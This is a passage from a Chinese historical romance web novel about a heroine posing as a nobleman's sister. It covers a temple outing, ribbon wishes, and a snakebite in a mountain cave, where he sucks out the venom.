雨势虽不大,但门前的积水及至腿弯,冰冷刺骨,谢珩却身形泰然,踱步蹚于其中。 沈昭下意识搂紧他的脖颈,脸颊几乎贴在他的耳畔,微弱的气息轻拂在他耳侧,他的耳廓登时涨红了,脖颈泛起淡淡的绯色。 他每走一步都极稳当,背上的沈昭若一片鸿羽,轻若无物,她偷偷垂眼看向他的侧脸,水珠从他鬓角滑落,顺着他清晰的下颌线滴入衣领中,他专注的神情令她心头莫名一颤。 从马车至灵山寺前,虽只隔数步,但谢珩身上却沁出一层薄汗。 待到达檐下时,他小心将她放在一块略干燥的青石板上,又退了几步。 沈昭这才发现他的裤腿早已湿透。 女子发间的花香混着湿润的水汽萦绕在他鼻端,他呼吸尚未平复,哑然吐出两个字:“走吧。” 此时,一个光头小沙弥端着姜茶,嘴里小声嘀咕抱怨:“此等好天气,最适合睡觉了,我倒要瞧瞧,到底是哪户好人家竟跑寺里来了。” 那“好”字咬的深重,带了十足的怨气。 他远远看见两个身影站于门前,忽而噤声低头,经过他们身侧时,抬头不着痕迹地觑了眼,却觉眼熟,走至廊角时又回头细看。这不是那日助他出城的姑娘嘛! 他放下手中茶盘,飞奔过去,抱住她的腿,脸圆得像成熟饱满的蜜桃,瞪着油亮亮的眼眸:“施主,我又见到你啦!” 这小沙弥的衣服仍是上次在城中相遇时穿得那件,倒不知他遇急事和喜事都爱抱着旁人的腿,她笑着将他拉开:“原来小沙弥你在灵山寺修行呀,好久不见。” 小沙弥歪头打量她身旁的谢珩,眼眸登时亮了几许,绕到沈昭身后,悄咪咪说道:“姑娘红鸾星动,这么快就找到如意郎君啦!” 第28章 沈昭蹲下身子一把捂住他的嘴,这话可不兴乱说:“你个小小出家人,不该四大皆空么,别乱说,这可是我兄长。” 小沙弥眨巴着眼睛点点头,待被她松开口后:“阿弥陀佛,女施主说的是,那你便是来寻如意郎君的?院中古槐树下挂红线,相思可解。” “慧能,你又跑何处耍懒去了?”他师兄的话在院中回荡。 小沙弥端起茶盘,脚底抹油溜走了。 因着李玥一行是贵客,住持特意安排了一间禅舍供他们休息,因等得久了,高峻去寻他们二人,脚步还未踏出门槛,就见到谢家兄妹,正被寺中沙弥引至此。 见谢珩裤脚湿透,脸色泛红,高峻上前关切道:“九如可是身子不适,”他拢袖抬手欲去试他的额头,“莫受了风寒,别是发热了。” 谢珩后退半步:“无事,在马车中有些闷,吹吹风便好了。”他并没有急着进屋,反而立于檐下,久久凝着远处,不知所思为何。 沈昭方才从他背上下来时,不经意间手指划过他的耳廓,确实滚烫如火。 他竟主动开口背自己过去,以往他恨不得站于她身边都会避开得体的距离。 沈昭庆幸,他该是终于把自己视为妹妹了,以后相处会容易得多了。 经这一路奔波,她随高峻先一步进屋,慧能彼时刚刚将茶盏放好,礼貌说道:“诸位施主请先用些热茶,住持仍在讲经,请诸位稍后。” 沈昭端起茶盏抿了一口,香气青嫩,初入口时带些苦涩,回味甘甜,这味道似曾相似,她打开茶壶的壶盖,其中飘着几片绿叶,正是她之前苦寻的茶叶,她喊住慧能:“小师傅,这茶壶中的茶叶从何而来?” 李玥和高峻咂咂嘴,浅啜了一口,只觉苦涩难耐,并不好喝。 慧能似寻到知己般雀跃:“这是从南方来的香客供养的,许多人觉得清苦,并不喜欢,可我师傅却觉得苦涩过后有淡淡甘甜,回味无穷呢。” 沈昭问道:“那这香客家中专门种植茶树?” 慧能挠挠头:“这个我就不知了,不过这个香客每月会来灵山寺,若施主你喜欢喝,我可为你留一些。” 沈昭默许,给他递银子时,慧能满口“阿弥陀佛”地拒绝了。 但她所求并不是这些碎茶叶,若是能得机缘在长安城附近寻出开阔的地界种茶树,待饮茶在长安城城内时兴起来,她便有源源不断的小金库了! 但此事想得简单,实行却并不容易。 一是不知这香客的身份,种子难寻,二是哪怕得了茶树种子,她没能耐将其种活,不过倒可以向高义信请教。 谢珩吹了半晌的凉风,散去身上的湿气和燥热,入内端起桌上的杯盏,一饮而尽。 “兄长觉得这茶好喝么?”沈昭抬着明眸望向他。 入口苦涩,谢珩一饮而尽,并未咂摸出些许滋味,但喉间却润着清爽的甘甜:“尚可。”令人忍不住细细回味。 他记起她曾提到的“茶”,在她的故乡盛行,原是此物:“你若喜欢喝茶,既然南方有,那请南方商队运来便是。” “不用不用。”沈昭直言拒绝,她可不想引起误会,她不是贪杯。 何况通过商队运送茶叶,成本极高,在场四人只她和谢珩觉得尚可,李玥和高峻并不喜欢,若想在长安城推广,并不容易。 比起运送茶叶,能寻到根本种植之法才是长久之计。 李玥:“这茶入口极苦,喜欢喝的人该不会多吧。” 她犹记得从杂书中看到,之前唐代的茶叶时兴亦是最初从南方种植,在寺庙中传播,进而渐渐蔓延到城中百姓,何况不止唐代,喝茶品茶的技艺在历朝历代都时兴,她相信茶饮一定可以流行,加上在银钱方面,谢珩从未亏待于她,她酬劳颇丰,因此手上又有了一定积蓄。 但这几位又代表着长安中极大的购买力,她问向她们几位:“我其实有意想试着栽培、种植茶树,茶饮有朝一日也许会在长安城内流行。” 李玥惊得唇齿微张:“瑾姐姐,你要从商么?”她知谢家不缺银钱,不会短缺她,为何要经营这等苦差事。 高峻亦并不看好:“妹妹,这你便想不开了,舒舒服服地当小姐多自在,谢家还会被你吃穷不成,何况我们高家也短不了钱,不会亏着你的。” 谢珩对她脑中奇奇怪怪的各种想法不置可否,但若她公开经商的话,只怕不好向母亲和老夫人交代。 士农工商,士族子弟少有人经商。 沈昭摆摆手:“算了,我只是个简单的想法罢了,随口一说。” 雨渐渐停了,远处一抹天光照亮方寸之地,院中僧人拿着扫帚清扫堂前屋后的积水。 院中古槐树上,红色绸带被雨水打湿,其中不乏许多绸带已被日光晒得褪色,只留下当初在树下祈愿的希冀。 风经过,绸带下的银铃发出叮当的脆响,枝叶轻颤,水珠簌簌而落,那些被浸润的旧愿,仿若活了一般,随风轻轻摆弄,刚柔相济互相碰撞。 李玥早早向寺里僧人要了许愿丝带,一共四条,不多不少。 她将丝带一一递给他们几人,待到谢珩眼前时,高峻一把抢过:“九如心不在此,不若把你的心愿让给我弟弟,我替义信挂一枝。” 谢珩反手抓住他的手腕,“哎哟,疼疼疼。”高峻吃痛喊着被他拉至树下。 李玥和沈昭走在后,李玥趴在她身侧低声说道:“瑾姐姐,你觉得高公子如何?经这几次相处,我愈发觉得他不仅样貌好,人也极妥帖周到。” 沈昭其实同他接触时日并不多,大多还是从婢女或家丁口中所得,李玥对他的印象并不差,但他不单单仅对她好,他对其他女子亦如是,高峻虽性子活泛,但也并非口无遮拦之徒,可毕竟事关公主终身大事,她不能草草给出建议:“我其实同高家公子接触不多,但我兄长自幼与他相熟,我倒可以从我兄长那探听一二,待日后同你细说。” “好。”李玥甜甜地应下。 四人站于树下,高峻还抚着自己的肩膀喊痛,叫着要让姑娘们为他评评理。 李玥笑颜如花,攥紧绸带,郑重地贴于胸前,在心中默许:愿择一良人,恩爱相守。 她用力地一抛,银铃甩着绸带稳稳落于枝丫之上,又绕了一圈。 "太好了!"这一次便稳稳当当挂住,真是好兆头。 乍一看,李玥丢的位置并不低。 高峻霎时胜负欲涌上心头,全然忘了刚刚假意喊痛,扯起袖子,露出坚实的臂弯:“来,让你们瞧瞧本公子的水准。”说罢,大臂带着小臂用力一挥,力道不俗,但运气欠佳,倒比李玥低了半头。 “不行,再来。”高峻不服气。 李玥噗嗤一声笑出,沈昭笑得合不拢嘴:“你当这是练武比试不成!” 他不为着许愿,双手掐腰在树下来回绕圈,始终想不通怎的他浑身力气竟挂得这么低。 这树不对劲。 —— 沈昭神色虔诚,半阖着眼眸:“希望祖母可以身体康健,国公府早日寻回谢怀瑾,”她并不期待能穿越回曾经的末世,若留在此处亦可,“希望她自己无论身处何时何地,都有花不完的银子!” 想到银子,她不禁弯唇,笑得更甚。 谢珩站在三步之外,目光越过手中纷扬的绸带,悄然落在她身上,长睫低垂,唇边压不住的笑意。 他不由得怔然,手中的绸带被他攥皱。 红绸从沈昭手中扔出,在空中划出一道弧线,银铃荡了荡,发出叮当清音。 谢珩顺着那抹红色,随之一抛,两个银铃相撞,绸带交缠在一起拧成一股。 李玥不禁睁大眼,瞧着这意料之外的巧合。 高峻不由得笑了,谢珩这武将,竟还不如他,挂得比他还低,他心中顿觉畅快不少,拍着他的肩膀大笑。 谢珩倒未置一词,眼底讳莫如深,看着那红绸轻晃,银铃的声响一下下撞进他的心。 李玥将沈昭拉到一旁,眉眼间藏不住的笑意:“瑾姐姐,高家公子的事,一会切莫忘了,帮我问问你兄长。” 她借故有本经书要寻,请高峻随她同往,留下机会给谢家兄妹独处。 因着是公主私隐,沈昭向他走近一步,抬眸望他:“兄长。” 她眼眸像被水洗过般的澄澈,枝头万千丝绦在风里摇曳,映着从云层透下的几束微光,皆不及她眼中神采。 “你同高家公子熟识,他品性如何?可值得女子托付终身?”沈昭直言问他。 谢珩脱口而出道:“我并不愿让高义信做我妹夫。” “?” 今日只有高峻同行,她口中的高家公子自然是高峻。 好端端的怎么说起高义信了,他今日来都没来,妹夫更是天方夜谭了,真的谢怀瑾人都不知在何处,哪来的妹夫! 沈昭:“我是指高峻,高家大公子。” “高峻”谢珩思量半晌,权衡着给出他的看法,“高峻虽然言语中不无顾忌,至交好友众多,但大多也相处泛泛,高家极重面子和门楣,他举止出格但倒并非全无底线,”他望向远去的两个身影,之前他的注意力全在高义信身上,原来她忙里忙外忙着递帖子是为了公主。 他恍然领悟,悬着的一颗心悠悠然落地,但眉头微不可查地紧了紧,“但若让他尚公主的话,恐他不会答应。” 沈昭猜到几分,高峻这性子受不得约束,若他娶个家世相当的世家小姐,自然快活潇洒一生。 可若是当了驸马,便由不得他作主了。 借谢珩之口,高峻品性并没她想的如此不堪,可能否心甘情愿、真情实意待公主,便是另一回事了。 沈昭心中好奇,在这里,门第家世无一不是首要考量,三妻四妾并不少见,他问向谢珩:“那若是兄长日后成婚,会娶几房妻妾?” 第29章 沈昭全然因着好奇,他的婚事姑且由不得他作主,不过随口一问罢了。 但谢珩却抬头看浮云移影,凝神细思。 “不必勉强回答,我就是好奇而已。”沈昭下意识反应,她这个问题定然是冒犯到他,毕竟是他的隐私。 “我从未想过。”谢珩开口道,他无声的时候竟真在斟酌她的问询,“不过我觉得一人足矣,与人相处不在数量更在质量,夫妻之间亦然,三妻四妾虽看上去家宅兴盛,但到底人多事杂,何况能尽心尽意待一人,尚还常有亏欠,更遑论这么多人,总有所不及,所以,于我而言” 他转身面对沈昭,迎上她的眼眸,认真道:“不纳偏房,不置妾室。” 耳畔的青丝经风吹向他的方向。 红稠下的银铃碰撞发出清脆声响,他广袖垂落虽沾着水渍,却如他的心一般,似裁净的云,不染纤尘。 他如此郑重诚恳,哪怕此话不是对她而言,亦让她恍惚间乱了神。 沈昭的心漏跳了一拍。 冷风徐徐,吹散她脸上的薄红。 未久,她开玩笑道:“那祖母和母亲得急死了,祖母可时不时在我耳畔念叨,想早日看谢家有后呢。” 以谢珩所处时代,他能说出此话,有这份心意,便也难得,但最终仍要看他是否践诺了。 沈昭很好奇,谢珩能否日后扛得住他家族里的压力。 “嗯,我自有考量。”她本是玩笑话,但谢珩竟如此认真,倒叫她有些不自在了。 此刻,住持讲完经学,正由慧能引着去见李玥一行,李玥先遣人来唤他们一同入内。 屋内,茶果放在一旁桌子上,四人在蒲团上围坐,虽然他们几个此意并非如此,但架不住寺里的人热情相迎,住持带着他们一起习读经文。 沈昭讨巧地选在李玥身后第二排的位置,谢珩在右同她紧邻。 若单单让她如此坐着,倒也能坐些时辰,但那密密麻麻的经文,看得她头疼,住持的唱诵虽然抑扬顿挫,满含敬意。 但高峻嗓门大,他絮絮叨叨,比念经还像念经,她努力维持着盘坐挺直脊背,强撑着眼皮,但头却越来越重。 但她又不敢在得道高僧面前失了礼数,只得藏于衣裙下,用手可劲地拧着自己,强忍困意。 谢珩偏过视线,看到昏昏欲睡的她,悄无声息地从旁边的茶台上取了几个红彤彤的果子,以宽袖遮挡,用手一抛,果子滚落到沈昭身旁。 沈昭被他的好意吓住,原来好学生上课也有小动作,她抬眼确认住持心不在她们身上,果断藏于袖中,将果子塞进嘴里一个。 轻轻咬住,酸酸的汁水瞬间香溢满嘴,真提神醒脑,她一个接一个地将藏下的果子全吃了,比喝茶还要醒神。 住持知他们小辈性子活,坐不住,只领着吟诵一遍就作罢。 送走住持又在寺中用过斋饭后,天色渐晚。 沈昭目光落在桌上的果子,她之前在西市没见过这种野果,但酸中带一丝香甜,倒很符合老夫人的胃口。 之前给老夫人买的红橘本就不是应季水果,因着卖家放在家中地窖存放,才便宜卖了,早已下市。 她把慧能喊到一旁,问道:“小师傅,那桌上的野果可还有,我能否讨要些,带回家。” 慧能摇摇头,他也爱吃这果子,午膳时光吃果子就吃个半饱,把他最后一点私藏给他们了:“寺里倒是没了,可那果子树离这不远,就是路不好认,”他眼中闪着期待,“你若是不害怕,我带你去?瞧这天色,天黑之前我们应该能赶回来。” 李玥因着宫禁,不能太晚回宫,但他们同乘一辆马车来此,没道理让她们久等,沈昭问向慧能:“上次你出城的马车,最晚一班回城内是什么时辰?” 慧能拍拍胸脯:“来得及施主,哪怕你在寺里用完晚饭都来的及。” “好,那等下你去同和我一道来的那几个公子小姐说” —— 寺前的积水浅了许多,李玥和高峻上了马车,谢珩还在门口,并未上车。 慧能气喘吁吁地跑向他,眼神飘忽:“公子,刚才同你们一道来的女施主方才坐我们寺里的马车,先一步回府了,她走得匆忙,让我代为转达,你们早些回府吧。” 慧能两只小手交叠于身后,左右互搏,心里默念:这不算诳语、不算诳语,出家人不打诳语。 女施主只是走得晚了几个时辰罢了,她确是坐我们寺里车马回城的。 休整时,谢珩曾在后院里见过灵山寺的马厩,马车确并不停靠在其中,但若是送香客,自他们来此并未见过其他人,若是送菜,斋堂前青石板上被雨洗得干净,莫说菜叶子,连搬运送菜的车辙印都未见。 他并不揭穿,转身上了车:“好,谢过小师傅了。” 慧能心虚地望着马车渐去的影子,口中不停地念道:“阿弥陀佛、阿弥陀佛。” 车内。 谢珩并未帮她扯谎,直言她还留在寺内。 李玥手中攥着锦帕:“瑾姐姐为何不同我们一道回去,她留在灵山寺可还有事?” 谢珩:“由长安至灵山寺的车马自酉初驶出城门,酉正到达,最末一班从灵山寺驶回长安的则是戌初,不会耽误回城。” 上车时,车檐落下的一滴雨正巧砸在他的薄唇上,清冷湿滑却被他的体温温热,瞬时将他拉回街巷那晚,凝在唇齿间的甜香久久不散,她却避了她三日,仅是感谢? 她在古槐树下难掩唇角的笑意既然不是高义信,又是为着谁。 是她在九州的旧识 谢珩冷冷道:“她该还有要事,由她去吧。” 马车渐渐消失于视线中,慧能冲她招招手:“女施主,他们走了。” 沈昭探出脑袋,轻舒一口气。 慧能却弯腰,捂着肚子:“等等我,我去起止!” 他午时吃那酸果吃多了,腹中咕噜咕噜叫个不停。 “起止?你等等我,我不认路。”沈昭追在他身后,慧能直冲进去,她见这挂着[小净]匾额,闻到味道,大步迈开,才知他去了厕所,就站在连廊中等着。 不久,慧能理理僧袍,轻松地走出,不好意思说:“让女施主久等了。” “无事,”沈昭白日在这寺中见东西各有一排寮房,进出来往之人并非全是寺中的僧人,此处依山傍水,宁静安逸,每日又有专车来往于城郊,她打听道:“院中的寮房可是专供香客居住,可有人在此长居?” 慧能耐心解释道:“寮房确实为香客准备,有的香客常年居于寺里,有些香客只短居一日,若施主有意,可来灵山寺修行或者作为功德主,便可久居,若是暂借,师傅定然会行个方便。” 沈昭了然,待国公府的事了后,她的茶叶之道若得以经营,便向寺院供些香火,定期给严母送些银钱,准备久居于此,她可不想回去面对严父,逢年过节回去一家吃个团圆饭,让严母放心便是。 两人各背一只竹筐,你一言我一语地往山上走去。 因着雨后湿热,山林里,草木茂盛,有些甚至没过沈昭膝下,慧能锃光瓦亮的小脑袋在丛中很显眼。 蛇虫鼠蚁冒出头,幸亏得慧能带路,他身子歪歪扭扭,一手扯着树枝向上攀,还不忘回头看着沈昭:“施主,这条路虽然难走,但都是师兄们清理出来的,每日会撒药粉,驱虫避害,你大可放心。” 沈昭拖着他的腿往上一举,自己的脚扎在泥地里,白色的绣鞋沾满了泥:“小师傅,你们寺庙里平时除了爬山,可还有其他活动?” 这小师傅人不大一点,整日吃素,怎的白净圆润得堪比年画娃娃,比路边的大石头还重。 慧能的腿像从地里拔出的小萝卜一样,在空中扑腾着:“女施主,并非慧能贪吃,实在是膳厅的王师兄做的饭菜太香了,有些香客就因着他的菜而专门入寺呢。” 他说着说着口水都要流出。 两人终于爬上最后一个坡,他抬手指向远处:“你瞧,就是那种果子。” 几颗野果树植于山坡上,红彤彤的果子经雨水冲洗透着晶莹的亮,叶子耷拉着,叶片上的水珠顺着叶脉而下。 两人寻了一个平滑的大石头将竹筐放下,两人一上一下,沈昭采高,慧能抓低,四手开动摘果。 摘秃两棵树后,沈昭拉住他白胖的小手:“等等,这山上还有其他果树么,现在天气热了,我们若都摘光了,吃不完岂不是浪费了。” 慧能抽出小手,并未停下:“嘻嘻,这漫山遍野的果树多了去了,这果子极易成活,今日我带你寻得算是最远的一片了。”? 沈昭不敢置信:“你不是同我说会寻个近处。” 慧能用力拽下一只野果:“师兄弟们都不愿陪我来,好不容易有人作伴,我不得寻个最远的么,施主放心,不会耽误你回长安城的,阿弥陀佛。” 这小沙弥,沈昭让他帮忙给谢珩递话时本还心有一丝愧疚,岂料他还是个惯犯。 “咕噜噜-”慧能两条粗眉一皱,“我我要起止。”话音还未落人捂着肚子跑远了。 阴云之下,惊雷乍现,风呼啸,云迁徙,大雨将至。 “下雨了,”李玥撩起车帷,风卷起雨滴将她的手打湿,她又缓缓放下手,“瑾姐姐她,自己留在寺中,真的没事?灵山寺回城的车马还需过几个时辰,届时路更不好走,我们回去接她吧。” 她定睛看着谢珩,似在征询他的想法。 沉闷的雷声在耳畔低吟,谢珩只道:“先送公主回宫为要事。” —— “要下雨了,小师傅你快些。”沈昭遥望来时路,不由得加快手中动作。 半晌,仍未闻他的答话,她起身去寻,漫山青翠却不见那油亮的脑袋和僧袍。 “小师傅,慧能!”她对着空气大喊,四野空旷,只余她的声音在其中回荡。 一道惊雷在她头顶炸开,豆大的雨点噼里啪啦从天而落,风卷起一旁慧能的小竹筐,红果洒了遍野,青红相映。 “慧能。”沈昭边喊边背起身上的竹筐,一手抄起小竹筐,顾不得捡拾,转身寻躲雨的地方。 来时路上经过一个山洞,慧能曾向她指明若是路遇大雨可以到此歇脚。 雨势汹汹,她的呼喊声淹没在旷野,想抬头再去寻他,眼前却被雨幕模糊了视线。 她奔着山洞方向跑去,被水打湿的泥土里深一脚浅一脚全是她的足迹。 用手扶着身侧的一根粗树枝借力,树枝上的一道碧影身形一扭,吐着信子攀咬上她的手腕,迅速缠上她的手臂。 沈昭用力甩了甩手腕,蛇却借势覆上她细嫩的脖颈,毒牙深深没入其中,留下两个乌紫的印记,脱口隐于山野中。 她踉跄着身子,顾不得细看身上的咬痕,兜兜转转,终是寻到了山洞的入口。 初极狭,渐开阔。洞壁渗着湿气,青苔在石隙间蜿蜒,山洞中还余着几堆烧尽的灰,周围放着大大小小几块石头,应是他们常在此休整。 她无力地放下背上的竹筐,身上愈发酸软,站在洞口向外张望,呼喊慧能的声音减弱,只有倾泻的大雨于她回应。 雨倾盆而下,湿风卷着腐叶腥气涌入鼻腔,山中很难视物。 沈昭扯下身上的披帛,在洞口寻了一只粗壮的枝干,费了半晌的功夫,将披帛绑于其上,寄希望慧能若寻路过来,能引他顺利找到洞口。 她全身湿透,本就软纱锦缎的衣料紧贴于身,却浑身却燥热难耐,只觉身上又重又沉,扯都扯不散。 火石和堆砌如山的干柴,整整齐齐摆放在洞内,驱蛇的药粉四撒于墙角,旁边还有几套干索的蓑衣,应是常上山的寺中人备下。 火,若是洞内有光亮,肯定能吸引来往人的注意。 她轻甩手上的水渍,堆好干柴,用打火石试着打火,在第五次刮擦火石时,她的指节已蹭出淡痕,额上沁了一层薄汗和雨水融在一起。 细小的火星溅落在干柴之上,转瞬即灭。 沈昭卸力地跪在一旁,果然荒野求生不是易事,她起身摸向洞口,却还未见慧能的身影,他在山中迷路了? 她堪堪挺直身子,准备去寻慧能时,眼前的草丛猛地抖动,一个黑影被大雨冲洗,看不真切。 慧能穿着僧袍,肯定不会是他。 沈昭踉跄着退后几步,抓起一旁的木棍,举在身前,警戒防备,眼眸一眨不眨的盯着前方。 心在胸腔内有力地跳动,雨幕隔绝喧闹,她清晰听到自己慌乱又沉重的呼吸声。 黑影渐进,她用力握着木棍,手却轻轻颤动,骨节因用力而泛白。 一人从雨幕中向她走来,来得匆忙,他手里的伞被乱枝划破,幞头的两脚被雨打垂,浑身湿得透彻。 然眉骨下一双漆眸却极亮,像宝剑新淬的锋。 他站在洞口逆着光,一手执剑,淅沥沥的血水顺着剑锋而落,衣摆下的水痕蜿蜒如蛇,一路迤逦,融进沈昭身下的水洼中。 是谢珩。 第30章 谢珩将伞扔在地上,视线扫过洞内,未见有蛇,而后缓步走入山洞。 他生的白净,被雨洗后脸上没了一丝血色,瞥见靠墙堆放的两筐野果,语气中带了一丝温软:“你专门留下就是为这,为了祖母” 沈昭认清是他,松了口气,将手里的木棍放下,手腕和颈间的两点乌紫蛇痕隐隐作痛,乌血贴着皮肉流下,她强抿着泛白的嘴唇,唯有鞋底粘着泥土的脚印,每后撤一步,便在地上烙下淡红色的足迹。 她维持气力问道:“你来的路上有没有见到慧能?我和他在山中走散了。” 谢珩凝眸打量着她,剑上的血腥气盖住了她身上气味,但她脸庞却泛着不同寻常的红:“我上山遇到他,他去寺里寻人来找你了。” 沈昭心虚地将手背于身后,侧过身子:“洞内有火石,我们全身都湿透了,最好先晾干衣服。” 谢珩大步向内,与她错身而过的瞬间,一把抓起她的手腕,她身上的炽热烫得他眼神轻晃,手却并未松开:“你受了风寒?我去生火。” 话音刚落,沈昭膝盖酸软,谢珩一把扶住她失坠的身子,她软软地倒于他怀中。 松开手时,才见她腕间的两点乌紫。 “别动。”他上山途中,遇到过几条毒蛇,幸得及时斩杀才未中招,但沈昭并无防备。 他出手封住她几处大穴,但已有毒血渗入血液中,游走于身。 他将她扶至墙边,她无力垂首,滚烫如火的额头抵在他颈窝,凌乱的呼吸灼烧着他裸露的肌肤。 她脸色惨白如纸,唇色转青,眼眸半阖。 “沈昭得罪了。”他未迟疑半分,抬起她的手腕,俯身去吸毒血。 她却用尽最后一丝力气,扭转手腕躲开,用气音说道:“有毒” 他宽大的手紧紧固住她的手腕:“别动,”毫不犹豫地低头含住伤口,将毒血一口口吸出再吐掉。 她的喉间干热更甚,手腕间那万蚁噬咬的痛麻,却转瞬化作他唇舌用力触碰的酥痒,比毒血更甚的灼热顺着血脉直窜心门。 她浑身发颤,恍惚间,却贪恋覆在腕间的那丝冰冷,她无力地扯着他的衣襟,指尖忽冷忽热。 “沈昭。”谢珩用手轻拍她的脸颊,素日漆深的眸子此刻蒙了一层水雾,一向冷静持重的他霎时慌了。 直到她抬眸,唇角轻轻翘起,他紧绷的那根线才稍有松动,沈昭恢复些气力,将手抽走,故意说:“我好了,多谢。”她染血的唇瓣在昏暗的山洞红得诱人,他低垂着眼眸,不敢再看。 “好了?” 见她说话不似那般微弱,可脸上仍毫无血色,他疑惑道:“你好了?” “嗯。” “好了便站起来走两步。” 她一向张口就来,口中虚虚实实,让人分不清明,毒血岂是说散便散,说好就好的,怕她欺瞒,他故意激她,想看看她身上是否还藏着伤,但她全身被雨淋湿,他又不敢细看。 沈昭手腕间的毒被他吮去一部分,虽知谢珩是为了确保她无事,但怕他担心,她手掌抵着阴湿的墙,指节半蜷,提着一口气,直起身子。 她眼睫颤动,双腮因用力而鼓起,额间冷汗涔涔。 指尖因着用力摩挲而泛起斑斑血渍。 谢珩抬手虚扶着她,他不过怕她硬忍着伤不说,岂料他她竟真挺着身子站起来了:“好了,你体内没准还有余毒,别乱动了,我不该激你。” 他的话音未落,沈昭整个人猝然向前栽去,盈盈跌落到他怀中,她灼热的身子紧贴着他。 他却心跳如擂鼓响彻,清晰可闻,她小巧挺立的鼻梁抵在他锁骨处,炽热的吐息喷在他湿哒哒衣襟上,每一次紊乱的吐纳都激起他肌肤一阵战栗。 鬓边的珠钗晃得叮当作响,几缕乌发散落,扫过他颈间如羽毛轻挠。 谢珩臂弯一沉,稳稳扶住他:“沈昭。”视线垂落于她颈侧,才见那被蛇咬过的两点乌紫已转成暗黑。 “沈昭,醒醒。”谢珩轻拍她的面颊,触手滚烫胜火,他当即将她的背倚靠在墙上,面对她跪坐着,一手扶着她的左肩,一手轻托着她发热的脸颊,脖颈自然弯着,露出被蛇*咬过的伤口。 他的视线悬在她颈间半寸,竟生平第一次怨恨那些无畏“礼数”,雪肤上两点刺目的黑色,再继续耽搁只怕神仙难救。 “抱歉。”他将怀中的帕子搭在她颈间,继而闭目沉息,俯身时,刻意避开半寸,克制着唇不染她,再睁开眼,强压其中暗涌的波澜,扶住她肩头的手不自觉蜷紧,仿佛将她揉入怀中。 冰凉的唇落在她的颈间,沈昭在混沌中沉浮,她甚至贪恋这抹清凉,驱散她四肢百骸的燥热,但转瞬间这丝丝缕缕的微凉触感,化作灼人的热,烫得她微微惊颤。 他每吮一口,一股热意自颈侧窜向她周身,素帕渐渐被血洇透,终是阻不住那抹唇间的温软。 他的手死死扣住她的肩头,力道大得她愈发清醒,可唇舌的动作极轻,像对待易碎的琉璃瓶般珍重。 待他轻轻移开唇瓣,眼眸中像灼着火,明明中毒的是她,可那毒却好似侵蚀了他的神志。 未久,洞壁上交错的人影难舍地分开。 沈昭眼中的混沌渐渐变得清明,她低头扯扯仍贴于身的衣裙,淡淡道:“多谢你了。” “无妨。”他却逃也似的转身向洞中走去,捡了一旁的火石,不出片刻,燃起地上的干柴。 他又利落地用粗些的木棍搭了个架子,背身过去:“你若是想晾干衣服,就自便吧。” 念着万事不便,且寺中的人不久会寻来,她靠近柴火,手臂抱膝而坐,随手拿起一支木柴扔进火堆:“算了。” 为防不测,谢珩坐在她身侧,隔开半臂距离。 洞外雨幕垂垂,洞内火光摇曳,两人的身影在石壁上随风轻晃,似在依偎。 火星噼啪溅起,映得他眉目深邃,山风卷着湿气卷入洞中,他的周身却被火烤的更热。 谢珩挪着身子离火堆远了些:“若你以后不做我妹妹,你会作何?” 谢珩的疑问倒正是她近日所想,告诉他亦无妨:“也许我会择一荒野山林,种种地养养花,自给自足,时常去看看严母,快活潇洒一世吧。” 她悄悄抬眸,撞见他侧颜被火镀上一层金色,喉结上的水珠随吞咽缓缓滑落,落入衣领。 想问出口的“你呢”被她酸涩咽下,若她不是谢怀瑾了,他的生活应该会一如既往。 只是与她无关。 良久,他嗓音低哑,突然开口,却目光虚置着眼前的光亮:“我有一事想向你请教,但还请你先指天为誓,不能有任何欺瞒。” 沈昭一头雾水,何事如此重要? 今日多亏有他解毒,她亦不多问,依着他并拢三指指天:“你问吧,我保证这次不骗你。” 他清咳一声:“在九州,若是男子爱慕女子,该如何表示?” 这等小事,何须起誓,她垂下手,却被他认真的神色盯得又慢慢举起:“好说,在九州,男女双方可先慢慢相处了解,若是彼此有意,那么一方就可以表白,另一方若答应了,就成为男女朋友, 若是两人情投意合,想结为夫妇,那就要见过双方的家长,此后便牵扯到两个家庭,接下来订婚,领证,结婚,就同你们的下聘迎亲相似,可能礼数没有你们这边周全罢了。” 当然,其中有些步骤可以省略,先结婚再领证者亦大有人在,但她不想解释太多,容易越说越乱。 “表白是?” 沈昭嘴上功夫厉害,毕竟她也没谈过,就按着她心中想象描绘:“表白呢,就是一方向另一方倾诉心意,另一方答应后,两人就从普通朋友,成为比普通朋友更进一步的关系,你们也可有些更亲密的接触,比如亲她话锋一转,”想到那夜醉酒,“但是呢,你也得尊重女方的意愿,她如果不愿意不能勉强,哪怕是男女朋友也不行。” 谢珩继续追问:“那表白只需告诉她么,还有何要求,是否要告知家中亲眷,时辰场景这些细节呢?” 这学霸果然不同,连这等细枝末节都感兴趣,再问只怕问到她的盲区了:“这个根据个人品性吧,有人喜欢热闹和排场,有人喜欢独占和安静,我倒是觉得这是只属于两人的时刻,场景自便,有个氛围就好,你们既然在一起了,身边亲近的朋友家人自然会知道了。” “你问这个作何?”沈昭怕他一问再问,主动结束这个话题。 “只是了解一下不同地区的民俗,增加见闻罢了。”谢珩口不择言道。 洞外雷声隆隆,雨势不减更甚,谢珩抱起墙角一捆干柴,一支支将其扔进火堆中,火舌迅速舔舐,火苗直窜上天,暖意融融,看得人熏熏然。 洞内骤然亮如白日,又渐渐暗淡昏沉。 墙壁上,两个人影相互依偎,沈昭抬眸觑了眼,又挪着小步,将身子悄然往外靠靠。 “热么?”谢珩的声音响起,因着洞里幽深更蕴低沉。 她刚才蛇毒毒发时,一下像置若冰窟,一下又如坠落火海,她微微抿唇,只觉喉咙干渴燥热,但如此境遇哪还还能寻一口水喝。 衣裙黏在身上,外干内湿,身上黏腻腻的,火光映得她脸颊红扑扑:“热点好,热点不易感冒。” 听闻男子本不耐热,他的衣袍又不似她一般轻软,沈昭手作蒲扇状借故扇扇:“你若是热了,自行方便,我不看。”说着背转身去,用手指虚捂着眼。 半晌未听他开口,她从指缝中眨眨眼,墙上的身影竟真大大方方地解开蹀躞带,长臂外展将衣袍脱了。 沈昭将头埋低,墙上她的身影变成圆圆一团,比一旁的石头大不了几寸。 “你不是说不会偷看?” 低哑的声音自耳畔响起,呼吸间的灼热徐徐烧至耳中,又麻又痒。 她扭头,不经意间身下一轻,而后稳稳被他的臂弯捞住。 谢珩眼中映着如火的光热,硬挺的鼻尖沁着一层薄汗,衣襟半敞,透过湿透的里衣,能看清他胸腔有力地上下起伏。 沈昭呼吸一时滞涩,用手将他推开,却误触他硬挺的胸膛,她瞬时收回手,将头侧垂不看,咚咚地心跳仿佛要跃至喉间。 